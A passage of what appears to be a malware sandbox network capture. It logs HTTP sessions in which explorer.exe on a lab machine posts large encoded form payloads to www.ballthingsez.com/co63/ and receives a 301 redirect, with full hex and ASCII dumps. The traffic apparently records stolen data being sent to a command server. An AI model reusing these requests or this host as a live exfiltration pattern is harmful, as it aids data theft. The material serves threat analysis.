38 64 33 72 37 51 38 52 62 4d 31 53 43 47 6f 6e 44 45 4b 78 50 68 36 6a 39 43 43 72 63 4d 64 49 66 43 6e 32 61 67 31 66 32 6f 6d 64 67 52 70 74 42 4c 58 41 39 59 71 43 57 64 51 49 46 78 36 34 32 75 53 41 36 35 4d 6c 50 62 6e 5a 56 4e 76 67 48 61 4c 57 69 65 5f 47 57 75 6e 49 6d 79 35 44 32 64 56 47 66 67 65 49 54 54 65 41 6c 30 78 31 67 44 5f 4c 61 71 70 76 5a 64 41 47 51 55 75 33 51 6d 38 55 51 64 4e 6c 36 58 62 47 57 4a 31 50 50 32 6e 6d 48 51 79 55 4f 54 67 38 72 73 55 58 59 67 6c 7e 35 30 48 62 78 55 41 51 4b 7a 77 6e 50 5a 53 62 45 74 52 6f 61 6a 69 79 75 63 54 31 66 63 66 57 4e 52 4d 52 62 47 63 36 37 33 6a 31 47 4c 61 79 50 6b 34 38 6a 37 43 34 75 64 62 61 78 72 5f 32 53 41 50 6b 64 42 55 62 51 4c 46 31 49 31 75 70 58 65 6f 32 75 58 47 7e 49 74 50 59 46 51 2d 47 75 62 33 52 41 51 78 30 6c 28 6e 39 33 61 43 4d 71 4f 5a 35 56 46 4b 59 4e 54 4f 42 58 67 53 52 2d 4d 59 72 37 30 44 4d 49 43 65 54 4f 44 66 64 2d 59 73 6a 69 47 35 4b 57 6b 69 70 62 6a 47 47 68 51 50 34 61 59 47 77 74 37 47 4c 6c 5a 47 62 67 55 7a 74 41 32 4e 57 6d 44 69 73 5a 38 79 65 4d 36 52 39 42 61 35 64 34 28 4f 30 47 66 77 5a 4a 48 44 4a 38 71 70 65 34 73 38 4a 2d 6a 44 70 48 43 62 46 48 57 30 36 57 36 4b 30 4b 55 4c 70 71 49 7a 30 64 76 4d 6a 31 46 46 4b 50 67 44 64 71 49 74 7a 30 75 49 28 4a 4f 6a 36 6a 67 6d 4a 70 4c 45 7a 6f 35 30 32 45 36 47 6e 58 33 36 36 2d 73 43 59 69 35 76 65 58 54 67 5a 36 75 67 56 4c 68 42 67 59 78 6f 5a 73 34 78 75 2d 63 58 53 4b 75 34 7e 69 54 6f 4b 72 6a 33 70 57 53 30 59 6e 47 6d 49 55 6f 49 65 79 43 77 48 73 54 52 6d 50 71 63 44 72 49 30 54 4a 7e 6f 36 57 47 79 59 44 47 37 4e 79 39 72 39 4f 35 35 37 4e 6b 76 68 59 33 7a 41 33 43 74 6f 55 36 53 56 6c 34 74 46 76 57 64 42 4a 54 75 75 4e 79 68 62 52 6e 33 38 37 4e 37 39 59 33 77 77 43 6e 61 35 69 6e 6b 38 5f 6c 6d 4c 54 63 45 4c 6f 48 4a 68 71 7e 4d 78 72 42 44 59 31 49 4b 51 65 4e 30 6a 37 36 48 7e 49 44 47 Data Ascii: aJElwV=VD1K5pTBtz3siJbzeLb_GP(SFxefP7xhkeV5pwM9VTVv9vk5p4kvOzov0bphvMuL(0aHGk(dbXPs1H469lxW5zNdbMm48BZjFaAE(3qO1oFXhPf22KZ64ekhSjbS1rfwlg~4PtIrF_GCth4lAFjq0J(jXKJ5OIMomblS7i9aqPCsseeqkCJeRsYzGVLJNXfYRu632S0kbUoBYhghP63Qm5K_K8lCDE34JSFnSaqiSPoFN2hj1M1HE-PaKJj6WIpAPI5n(3yL9SzZSUcLvF(tICmyb_OPQ87Hw6N3EEGzqi(5UbDB(keKrrOQ3xHmYwWLm25eSQOj~cAVeS1lZLdXp3sDfcO1NsD5HqXr1D0_gHmiJRg5OaQaC0OzBvu7NIlmnaXaFyU28objQ1JA4GnF8dV9b37RkLvwCqDOJziDILfJGAN5Aa7BpVswExM9C6P4NNNWuT499uZ5(WVNr8YS5sToz0XQx1tCNtm9aZ50yfI5GqZ3Qas9hDtv(lA85DuCLEMAwwt_KYwUPUdlrugVm3PJN3TwY3OKewbse7c7~2ETfVBuCSBWbfqkoLPCgbyIvcn8O4KUA5EdSgaxv6Y80tY6Bvg4C5zeYJBlcrzXttIsPP8fhtmmbaMT7jVDfzz_86Tg(fF1EIzHOz(r~nnXq1yWPrkjvAwimn3z8JqJt6nTGZJ-5lV0E9zc0tDCMi9XTA(D90H-LI8Zd8b8R7JHR8d3r7Q8RbM1SCGonDEKxPh6j9CCrcMdIfCn2ag1f2omdgRptBLXA9YqCWdQIFx642uSA65MlPbnZVNvgHaLWie_GWunImy5D2dVGfgeITTeAl0x1gD_LaqpvZdAGQUu3Qm8UQdNl6XbGWJ1PP2nmHQyUOTg8rsUXYgl~50HbxUAQKzwnPZSbEtRoajiyucT1fcfWNRMRbGc673j1GLayPk48j7C4udbaxr_2SAPkdBUbQLF1I1upXeo2uXG~ItPYFQ-Gub3RAQx0l(n93aCMqOZ5VFKYNTOBXgSR-MYr70DMICeTODfd-YsjiG5KWkipbjGGhQP4aYGwt7GLlZGbgUztA2NWmDisZ8yeM6R9Ba5d4(O0GfwZJHDJ8qpe4s8J-jDpHCbFHW06W6K0KULpqIz0dvMj1FFKPgDdqItz0uI(JOj6jgmJpLEzo502E6GnX366-sCYi5veXTgZ6ugVLhBgYxoZs4xu-cXSKu4~iToKrj3pWS0YnGmIUoIeyCwHsTRmPqcDrI0TJ~o6WGyYDG7Ny9r9O557NkvhY3zA3CtoU6SVl4tFvWdBJTuuNyhbRn387N79Y3wwCna5ink8_lmLTcELoHJhq~MxrBDY1IKQeN0j76H~IDGoQ(hLyO1(q(wtJnvyOMkQsWnwq4pbwFfny7mGogsCnftHTZkT0CDXL7MvwAhstlEHDjefT302EfEqWODQQrx9ozrXYVaje5UDRoJmv9dBdu66ZbQJR0fPA).RLlYrZj
Jul 20, 2023 11:45:13.437289000 CEST	365	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=iso-8859-1 Date: Thu, 20 Jul 2023 09:45:13 GMT Location: https://www.ballthingsez.com/co63/ Server: Apache Content-Length: 242 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 61 6c 6c 74 68 69 6e 67 73 65 7a 2e 63 6f 6d 2f 63 6f 36 33 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.ballthingsez.com/co63/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49719	152.199.21.175	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2023 11:45:13.409661055 CEST	339	OUT	POST /co63/ HTTP/1.1 Host: www.ballthingsez.com Connection: close Content-Length: 151296 Cache-Control: no-cache Origin: http://www.ballthingsez.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.ballthingsez.com/co63/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 61 4a 45 6c 77 56 3d 56 44 31 4b 35 71 44 5f 39 54 36 79 30 37 50 2d 61 39 65 7a 4d 4f 50 36 43 44 61 57 55 4c 35 65 6e 4f 31 66 70 7a 55 35 66 43 46 39 73 62 59 35 39 4f 51 6f 4a 54 6f 6f 79 62 70 69 34 38 69 6a 38 69 65 31 47 6c 4b 49 62 58 48 6a 7e 47 6f 31 71 51 63 57 31 44 42 78 48 38 7a 75 34 46 78 67 4c 59 38 59 30 6d 69 4f 6f 71 6c 56 76 39 48 58 30 62 6c 49 7a 65 34 6e 4b 79 44 62 75 4a 57 6b 6c 43 53 30 49 73 70 30 42 36 71 46 68 6b 4e 72 53 57 50 6d 72 4e 66 67 63 74 41 77 4f 76 55 38 68 5a 4d 48 6c 79 30 41 70 50 32 79 6e 73 6e 66 6b 44 39 72 4c 66 77 67 4e 30 50 63 50 69 62 49 47 4e 32 33 7a 69 4d 30 50 6c 30 48 64 69 6f 35 4d 6f 65 6f 67 4b 53 46 4e 2d 38 4b 48 55 58 5f 49 55 51 71 59 65 62 63 66 71 63 43 46 42 64 4c 30 73 78 32 66 4f 28 6e 51 36 44 56 57 63 5a 64 4d 4b 64 56 69 47 76 7a 78 46 7a 46 5a 68 6f 5f 73 6d 54 6c 49 79 58 56 63 38 75 4d 56 76 7a 41 78 35 31 6e 4a 45 4c 33 35 79 33 50 65 36 44 35 28 6b 61 43 71 49 54 72 75 78 48 6b 53 56 7e 37 6d 79 64 65 53 56 7a 34 7e 74 51 56 65 7a 46 36 52 6f 6c 49 6d 58 73 41 46 4d 65 45 62 65 47 37 48 75 7a 46 76 53 4d 5f 68 42 4f 69 4e 78 51 36 49 71 51 61 4c 55 4f 31 42 76 75 6a 4e 49 6b 74 6e 63 72 47 58 44 51 32 36 6f 50 68 43 77 64 4b 70 67 47 30 33 64 56 35 61 43 57 45 67 49 72 49 43 73 58 64 4a 53 65 44 4d 36 37 4b 41 69 6c 31 51 76 50 41 36 55 5a 76 4e 52 45 74 43 36 44 78 4d 49 70 38 39 69 45 4f 38 75 5a 34 33 47 59 54 76 39 59 34 77 65 4b 79 78 79 57 75 68 56 70 6b 4f 4a 50 39 5a 36 5a 34 78 5a 4d 74 4a 4b 4e 42 61 49 67 78 6a 79 63 48 79 46 73 65 39 79 75 78 4b 6c 70 5f 33 55 4e 74 49 61 67 61 4f 69 78 4a 73 4b 34 37 72 55 4b 37 46 51 61 37 4f 6d 28 71 5a 44 4b 4d 66 72 6f 76 78 55 4e 61 42 46 4e 39 4c 42 6c 43 4c 75 69 31 6d 5a 6a 4d 71 5a 61 4a 6e 4c 71 36 58 34 6d 42 42 4a 4a 63 57 68 48 44 75 4f 35 72 6a 63 31 48 5a 62 42 49 45 35 62 38 52 4c 5a 46 57 6f 58 6d 36 4f 38 52 58 39 64 66 68 39 37 47 65 6f 45 63 7a 6d 56 71 47 47 37 66 6e 50 33 32 79 59 74 38 41 59 37 69 62 78 75 49 33 33 53 78 73 32 4b 33 4b 37 35 42 6f 41 59 48 72 6c 33 49 78 4f 48 68 37 70 62 75 4f 70 39 63 77 30 6c 69 45 64 54 2d 6a 4c 50 5f 54 67 78 50 53 67 62 57 31 32 48 7a 4b 70 70 68 51 50 32 48 65 72 74 6b 51 4f 4e 4f 70 6f 34 30 52 4c 39 52 53 43 4f 73 37 69 6b 61 79 4d 46 36 6e 2d 61 64 71 37 59 42 4b 76 43 6e 77 61 68 32 62 32 6b 48 64 6a 74 70 75 46 54 58 52 2d 30 53 43 57 64 61 42 6b 46 4f 37 47 75 6c 44 37 30 4d 6c 4d 44 79 5a 57 68 56 6e 48 6d 39 53 6c 61 38 56 57 75 6a 4b 79 47 2d 44 33 68 48 47 66 73 42 48 79 6a 68 41 56 39 63 7e 77 44 5f 44 35 47 44 72 74 59 49 44 54 6f 71 72 67 47 57 4e 67 42 54 34 37 61 6e 4f 32 78 7a 51 66 53 6e 74 69 30 49 49 5f 48 57 39 62 6b 70 58 5f 6b 34 6d 49 38 41 55 31 6b 64 44 76 4c 77 33 76 31 37 51 69 42 4f 6d 4b 6a 4d 78 66 45 75 33 63 59 36 52 4e 78 50 52 4a 43 58 7e 4c 33 47 31 6d 65 4e 39 74 59 6d 30 52 4f 42 77 5f 42 54 61 51 44 38 78 6d 59 45 39 59 70 79 64 6d 44 4a 39 71 46 67 69 44 4f 33 77 64 6a 4d 74 4c 51 72 62 6e 51 64 41 4f 76 65 54 42 59 68 37 33 54 48 37 46 4f 6a 4f 50 7e 34 70 45 39 59 62 50 6e 6c 4e 67 6f 4a 57 63 68 67 37 71 51 49 42 66 7e 6d 61 59 28 38 62 74 34 46 67 78 4b 4a 45 32 41 4b 6e 38 4c 79 45 52 45 75 28 66 49 6d 39 2d 61 4e 4a 56 67 75 56 54 34 4f 72 52 6a 4d 49 6d 76 42 38 4f 77 43 4c 75 58 35 6a 77 43 38 52 70 66 74 39 55 69 6c 59 72 48 6d 4c 74 66 61 56 65 4e 61 50 4d 7a 61 6f 58 71 44 53 30 43 41 36 54 57 65 30 71 38 4c 39 36 34 7a 79 36 7a 4d 72 6c 78 47 66 71 55 36 49 5a 35 58 70 77 47 45 76 38 6d 6e 37 52 45 56 4c 4a 66 67 38 71 4e 6c 75 53 75 35 78 30 33 57 31 71 5a 41 56 30 5a 4b 53 31 7a 78 52 4b 69 79 56 59 46 76 6f 71 78 5a 53 4a 55 53 73 59 4d 36 62 6f 36 6f 77 43 47 56 63 74 7a 64 33 56 48 4d 47 58 72 2d 47 69 67 70 52 54 58 4c 4b 50 37 78 6e 63 4c 38 57 34 67 31 41 35 7e 47 32 46 47 78 64 43 75 63 4a 44 55 53 35 36 46 37 6d 4f 4d 61 6a 50 50 77 41 33 4b 55 68 6b 69 45 4c 58 4a 58 4b 4e 75 5f 53 49 79 4f 7e 63 4b 42 54 6b 6a 58 79 34 39 4c 32 72 44 6e 39 48 6a 50 77 51 62 69 37 2d 73 62 49 79 30 6a 42 76 43 58 69 49 37 67 7e 72 52 42 50 48 6b 47 47 35 4a 62 76 59 47 31 35 4b 48 65 Data Ascii: aJElwV=VD1K5qD_9T6y07P-a9ezMOP6CDaWUL5enO1fpzU5fCF9sbY59OQoJTooybpi48ij8ie1GlKIbXHj~Go1qQcW1DBxH8zu4FxgLY8Y0miOoqlVv9HX0blIze4nKyDbuJWklCS0Isp0B6qFhkNrSWPmrNfgctAwOvU8hZMHly0ApP2ynsnfkD9rLfwgN0PcPibIGN23ziM0Pl0Hdio5MoeogKSFN-8KHUX_IUQqYebcfqcCFBdL0sx2fO(nQ6DVWcZdMKdViGvzxFzFZho_smTlIyXVc8uMVvzAx51nJEL35y3Pe6D5(kaCqITruxHkSV~7mydeSVz4~tQVezF6RolImXsAFMeEbeG7HuzFvSM_hBOiNxQ6IqQaLUO1BvujNIktncrGXDQ26oPhCwdKpgG03dV5aCWEgIrICsXdJSeDM67KAil1QvPA6UZvNREtC6DxMIp89iEO8uZ43GYTv9Y4weKyxyWuhVpkOJP9Z6Z4xZMtJKNBaIgxjycHyFse9yuxKlp_3UNtIagaOixJsK47rUK7FQa7Om(qZDKMfrovxUNaBFN9LBlCLui1mZjMqZaJnLq6X4mBBJJcWhHDuO5rjc1HZbBIE5b8RLZFWoXm6O8RX9dfh97GeoEczmVqGG7fnP32yYt8AY7ibxuI33Sxs2K3K75BoAYHrl3IxOHh7pbuOp9cw0liEdT-jLP_TgxPSgbW12HzKpphQP2HertkQONOpo40RL9RSCOs7ikayMF6n-adq7YBKvCnwah2b2kHdjtpuFTXR-0SCWdaBkFO7GulD70MlMDyZWhVnHm9Sla8VWujKyG-D3hHGfsBHyjhAV9c~wD_D5GDrtYIDToqrgGWNgBT47anO2xzQfSnti0II_HW9bkpX_k4mI8AU1kdDvLw3v17QiBOmKjMxfEu3cY6RNxPRJCX~L3G1meN9tYm0ROBw_BTaQD8xmYE9YpydmDJ9qFgiDO3wdjMtLQrbnQdAOveTBYh73TH7FOjOP~4pE9YbPnlNgoJWchg7qQIBf~maY(8bt4FgxKJE2AKn8LyEREu(fIm9-aNJVguVT4OrRjMImvB8OwCLuX5jwC8Rpft9UilYrHmLtfaVeNaPMzaoXqDS0CA6TWe0q8L964zy6zMrlxGfqU6IZ5XpwGEv8mn7REVLJfg8qNluSu5x03W1qZAV0ZKS1zxRKiyVYFvoqxZSJUSsYM6bo6owCGVctzd3VHMGXr-GigpRTXLKP7xncL8W4g1A5~G2FGxdCucJDUS56F7mOMajPPwA3KUhkiELXJXKNu_SIyO~cKBTkjXy49L2rDn9HjPwQbi7-sbIy0jBvCXiI7g~rRBPHkGG5JbvYG15KHepVv9eBGm6tTSmq7cw-kkd9Sm8LMNe1ZtozHmL6l8CzvoWDxcM2v-B5burwxx6fVvPTjkBi(OhWvDjCe8SVPY~avjXY9di5g4EApk8eNRJMztvbTOPlxvX_~iWvmO0HGu7fJNQrZxoiYkYSObfec5nFfxbUX5Jt8MLZMwKytSsEwQWTAuyZ08mWMLs8RiOKm9~V4v08U_VHGq5N0trEsFY919u8UDSBYL7XLb17ciYWr6zB6gXMRcNh5WJ6KmfuOANYySsNUxKCC4eevL6NzHEvqheQESh8Gi519cjD74a0n01mbKjtoXwlc3~Au_(7eDP2ky~m2MBHvOrOwWgdjmy36l4bQtUmxTxP3XUVNHeSpFDzKKHkOmrLyTnrj-Xsjslf2n2IEWMVytB9L_LKN_PiNpcIs_rnyoFkJgq3Lem4BD1UIcUpNcXSvwZAXwY3Z5MmZ5GjVJ9n4ffdYFT9Li36fH0f0QTR5WXGKQxBYIjWMzik1bD3I4YMXa1fjXlaKNnZsExSGbvy5aXE2dMhLEmLz7R3zqmruwvOf4bSXZPZxRDOHaLbK8Uqv6SurL4_xrXee7PEeYQFFu0-g2mN21~NzhUt0FlAYf1ngekggyThtBxSDfxH(eAEKvxkZB6aexpQdlbocXDyFaa3E0GRot4RmPfwUDlWSM7sg_qbDgKHwUNvdt34uamtgiuHcagGS0iq~lM6zt6fB_OQsHnPWmHqoQobp8RGj6(OUZu2wetl9eekTG(3YPlzyQ9RC6Y3Y5iQ6Oi4izXBbP8pXOlJ21VUabtKhGvaOFSkBaWpWShIh9tyfP5Z35URllcn3Bny5raqnKSq8mYZORa7YzuZNjvas3QCiyZvmkj8YftSK2a8xdorITJEoX5vzHr54lMUpndQ0eLdrxPzHb4u0Q2ppzs8FSTCfgxUNJt9K5OoFBDG9C8-Xc3fyeEIbYJCKyh8oTt40K6dWZ2f3iVvl1wGFB1BrhurGLJCZunzYwN9GbsId8sMTR51FrKooQ7XkXwn3qETJh3nKIfNh11J5RM-m3VA3sVsdMhIUZ8XrtHFXwxvfiq28JxXrTJqnL7M~XNpPHVAWG4QKDvDeCFJpx5B(_pTL573duVBkgdL8r3VvSS4qrVEfTDGsOjE(8dACJDvJclAga7afXMwGfZN8MkK3_nqVTHK3NTz4CG3WnGj0ssYngZH7ASm~e2rLfuN3Hb7WmvauNFDnzgc86wosi42KL7haQDq8nKkCul6t1WvOVVXyJMVtnQDM1if7GTIWi2chwzWTQZDfqVszv60bUhYCz9BfTSPa9vwFi27SiOdjNAu9cl8UjOodgdi0E0GWgNpFi7rr7Pdgc4WP5WnsnhqofILEnGAxelatw39q1PEDniRWKBN8w5x87Q5i-2ovPd6gHdkJmGzUGQzNb8j3HRapHHezsygcIol~Je232oy4e05ewQcI03gWsJ-D_E1IP6g6dAHLz7g5YIcBufZUYXYcQ4dAdDxdSM_hPbYgwwUaAJSkTowCAg8E9vyZ8hy6vD_SGCU4GxRj895BKNkF32rl5XDoIFGz5xADDHJcUiFaAOJgH2wiX7nAAdjUan-oYbrjcwH~yON(GCZJFTXBXlU2b2PqDf3ixX2LiaznYeRcONOoHQ4~BFfTsHPWNx5YPxezws7jhWa8bbF76~MTm2ktgo9kztUZgWw5plYq11p9Y5yREcF(x4L90(1TFq6CwTUpG7CFhkv6w1pDZFVTjBeW5m5b4Ej75IDkSW5tSeJ0c7QyBH6sVNKbRuwy0aXctvXJnXaoC25jjKidHec9dsku1t_hnf37roxf_yXJ3yIgYprK0GT5j8XQIPK(ssx~0zjsotQtTHB1os8MeLozDq0lpw0AYa8wRhidBfWmuOy5UX4ZeCCQfl_Kz8hGY4KTW~3um5So7dNtFOhOCjForllMHKPUUROINZ2dPbwd3s797qzDhZI8aQsd7CYQf9hYNgeAHB7rp1ccGadLjMSgUNjIokiZsC-jiTjQt1CHr00YdRtOlnTAAgKLb2gv_jMgc56CDgPPdIhmZuus5jxX-FdvWeF0KenrHzOPBAcQh~Gd9B2SJuIFxp22lqgzSvoQu0GPvlGTSdeNtmb4xg5~GkM1voNFJo7lFq97VgtW06Kb4MatKugneT5R5vi~An5p09tZ0cEEbvg6_I3OXdlrreKWDJApKCwfK(x3xFFANrs1XEKuuFPtNDmXNTz0ltXHBThW24FGewSOT(SuP8DnboTzaTiM7nY0iPdz4i2HKmUK_CTQEJnuKkClA4u8zoL~WDH94wm~8HEJaswOcVhPKPXXkyURrXlcq1fyZFhpqovnNSsyLd5n8x-xpRXfuehjhB_6GZuo-t8OeVC9FS2r6C4yVnjfZu98yZQGAxD4aNi4RokhAWJP-WzHi8apzjg0Q5g0Dug0OQkIseGjgNMCGFxO99qFcQerDLu4VvRq_0GZe0wuH~LsJxpM0GIv2ui6N6PzVR91lDV5crLk4vV4TSrxq98Oorn~rxFURSkym~fOWRB2e0czBK1Lp46uLZdSh9WDPWMZywAW7yIqCJeG6~N43aW6lq8avy6h8DD7L0Ilm9qEo887uY0yaoV6VcHqdSXWKHhZt(PXPoc03L3ilSTCrp3aDkeLnf0Ao(0I-asFAucGEci8L(IOVlUEPz8wVN0IJHeCiCHFFvUN6BEDCp4rt3dJ6XrjVQybdoyE
Jul 20, 2023 11:45:13.424566031 CEST	344	OUT	Data Raw: 4d 50 34 73 6b 35 4c 71 76 6a 51 36 4e 55 69 68 46 67 58 68 59 6a 6e 4c 4f 5a 37 63 6e 37 71 5f 41 57 43 32 62 57 56 4a 53 58 6d 4c 30 44 54 79 7e 53 28 50 56 44 51 43 32 73 62 63 4c 67 75 66 4a 4b 5a 6d 65 59 6a 32 73 68 6e 78 57 43 61 30 30 47 Data Ascii: MP4sk5LqvjQ6NUihFgXhYjnLOZ7cn7q_AWC2bWVJSXmL0DTy~S(PVDQC2sbcLgufJKZmeYj2shnxWCa00Gt9unP3wt4_Zx3Y7LjBPSQY7CT-b8pSVEAcEIXJMT7FEJvCTtqRyA~P4kC8EmT0GbHsZRVPP6eOYrHXCr0z4DpwoJ15c5PECjcM4oBJeBbuCDXHyr1c2FvORs99P3PWIg05x-dgZ6WLQ8FlF2px3ahl1S4mAhqOGvq
Jul 20, 2023 11:45:13.424631119 CEST	354	OUT	Data Raw: 6a 69 44 50 65 46 30 66 75 42 6c 44 57 4e 67 74 49 68 66 44 72 48 6c 41 55 53 4c 48 38 61 4e 51 77 63 36 69 37 4c 36 32 69 39 7e 66 77 42 43 5f 31 4f 44 32 4b 52 37 4e 6c 59 79 49 62 38 43 6c 48 54 4e 72 44 4d 69 70 6c 46 6c 4b 30 50 70 37 42 65 Data Ascii: jiDPeF0fuBlDWNgtIhfDrHlAUSLH8aNQwc6i7L62i9~fwBC_1OD2KR7NlYyIb8ClHTNrDMiplFlK0Pp7BezEF3bGy002oJo0QXsf8xEdT1Dw9t5xKr0mGGnc1geqVJqJUT(kGrjqWEqeIQMZgvflt9RRTc8WWKGg1GcVJkn3AXKjnWoEDSWHPUf6z6J9RYHApLCdEIJAE_u-S9BidfpHYswvYBtq4SSpUI9oA-5fp5mRbV99hJY
Jul 20, 2023 11:45:13.424835920 CEST	357	OUT	Data Raw: 6b 39 76 68 46 35 47 34 71 6d 6f 57 59 49 53 4b 30 2d 72 39 32 71 74 32 6d 53 67 4d 5a 63 69 64 44 6a 79 74 35 72 69 31 7e 46 51 6f 47 6a 62 46 51 61 62 67 6a 47 51 39 45 6f 63 50 33 4e 59 73 76 57 78 56 50 6b 71 32 75 46 4e 38 4f 51 47 5f 73 76 Data Ascii: k9vhF5G4qmoWYISK0-r92qt2mSgMZcidDjyt5ri1~FQoGjbFQabgjGQ9EocP3NYsvWxVPkq2uFN8OQG_svVbgHiJ5hTIPodn68qVxlymdQ(g6u3fg0vgkmzWeYeIuWWKGlJdxT1CnFfxuGLTDIjyNfn45la4vQIMCXQfvmYaya30RvXvI0heZiEevRL7mwdporBJhviI9S~KdoAmOdyZzX~NbvaejEMEC8sEFJHP0-Z0E0vv~jW
Jul 20, 2023 11:45:13.424835920 CEST	359	OUT	Data Raw: 37 75 65 31 31 6d 48 4d 47 50 61 53 79 50 4f 50 77 73 48 50 6d 39 56 7a 57 66 31 4b 51 54 53 2d 66 43 71 77 76 39 4e 68 6b 37 47 77 50 61 6b 36 78 38 43 35 39 6b 67 58 53 42 6b 65 77 65 57 58 5a 59 4e 54 78 4b 7e 63 4f 41 6a 77 68 31 6f 39 76 69 Data Ascii: 7ue11mHMGPaSyPOPwsHPm9VzWf1KQTS-fCqwv9Nhk7GwPak6x8C59kgXSBkeweWXZYNTxK~cOAjwh1o9viR99C5C9EpFeAhuMZFRtPAemHTweuFnGAEC(AA-Rq8rYC0Y9l2oSHe2d7l13wNKbso6tX7hHX~1i50a4y9YWKbVc3HkrdialP(AfinMZNh7KLixfXQm02U3rn8j6YDVWFUql0dpZvLb~5AUgOy_TYrB4WN2V4r33jv
Jul 20, 2023 11:45:13.424896955 CEST	362	OUT	Data Raw: 53 44 48 33 63 4e 43 34 42 41 64 6b 66 65 33 34 47 75 67 50 57 39 67 62 51 68 36 35 78 52 62 6d 4b 75 6f 4a 44 5a 78 63 46 5f 6b 51 6e 6c 56 56 6d 6f 51 46 6f 52 51 4c 49 37 31 38 52 75 36 6a 49 53 67 77 64 5a 48 70 51 61 77 70 43 63 78 54 55 33 Data Ascii: SDH3cNC4BAdkfe34GugPW9gbQh65xRbmKuoJDZxcF_kQnlVVmoQFoRQLI718Ru6jISgwdZHpQawpCcxTU33K7e9QrHLHg5OsxWJt943UV7AtcoBynGKMll1NYRdziIhPfUjVG92g0yPctbO1MdcBzmPu~-NkEL51SlzFw6JPKlPKCeXUy0IuXG28rQjYKNIjeDv_0-IEnzqjZA2z1YGRd3EZJ9pBpSzMn_Az7flUHagED9AYMWP
Jul 20, 2023 11:45:13.424896955 CEST	364	OUT	Data Raw: 32 61 39 6c 4d 42 30 4a 79 43 4f 39 4c 56 4a 6f 6d 7a 63 59 32 6d 45 78 4c 44 7a 6d 69 4c 55 55 54 6f 74 39 77 66 44 72 7e 6e 7a 66 39 35 38 52 6a 74 52 39 56 79 45 31 58 46 71 48 71 41 31 38 66 36 75 63 59 4a 64 46 75 61 71 76 70 45 77 77 35 52 Data Ascii: 2a9lMB0JyCO9LVJomzcY2mExLDzmiLUUTot9wfDr~nzf958RjtR9VyE1XFqHqA18f6ucYJdFuaqvpEww5RjAlX9U8WcGA1lkpE99rFQ0HIX6weHA2BFHKzGa2m6TpndjamjMAvJ8vtUG9sKNB13RyMsCFBPLETAZ6UHs0G5Gntz50Rgi5ZgmgaWILKjGuVbYbtCebxtJLe1BY89sWO8zLQd8zWt8H2MX4bJDj5ChrnpMuEGdSRO
Jul 20, 2023 11:45:13.439917088 CEST	375	OUT	Data Raw: 6f 34 72 66 68 75 31 2d 68 69 75 6c 76 37 53 42 6b 72 75 56 77 76 44 6e 76 7a 6b 46 7e 6c 34 67 73 50 57 4a 71 68 58 33 36 6b 4e 34 45 61 6d 68 68 68 64 66 31 31 65 38 33 61 4c 70 4f 79 36 58 4b 74 47 51 51 2d 42 48 4b 73 49 41 76 4d 64 4d 45 6b Data Ascii: o4rfhu1-hiulv7SBkruVwvDnvzkF~l4gsPWJqhX36kN4Eamhhhdf11e83aLpOy6XKtGQQ-BHKsIAvMdMEkey5RJ_Fce2GKtp~V(JRdIlGzv5VrPkyB7NoF3VgxO7s_mMv8KJg3ewZF7yxm2TXepRAwfE3V4H~VdOObJhKDSpDGaxj_yu80rm1538C9dWRWXIEgiSfhdYs8g7fBsr7asUsOobANzHjozH2GgCUuHLJjQAabGSkFN
Jul 20, 2023 11:45:13.439965963 CEST	383	OUT	Data Raw: 64 6b 47 6e 6a 6a 67 46 36 43 69 71 71 58 32 67 49 44 78 48 30 44 38 4a 76 6b 46 6e 4e 49 72 68 71 7a 53 69 58 4d 69 39 39 66 69 5f 4d 45 68 6a 41 6b 68 47 73 4d 67 5a 38 64 4c 73 7e 4a 5a 68 55 46 68 47 55 65 7e 50 7a 63 6f 79 43 45 50 4c 75 30 Data Ascii: dkGnjjgF6CiqqX2gIDxH0D8JvkFnNIrhqzSiXMi99fi_MEhjAkhGsMgZ8dLs~JZhUFhGUe~PzcoyCEPLu0cfyC0ednF_OE5k(_DJwVEaG_vNTfILvYltLOj43kibaOlPuGincUhuWbLJggBzgFfL0b8v44KOA5cL6iHEGpOG~2v7u4Rh18phWOJeqUYPQsd2N5XQ9SY1lcLeS0WT60vWE0FjxcwKFl5zkxWu9v6WF6pqeLJQxpD
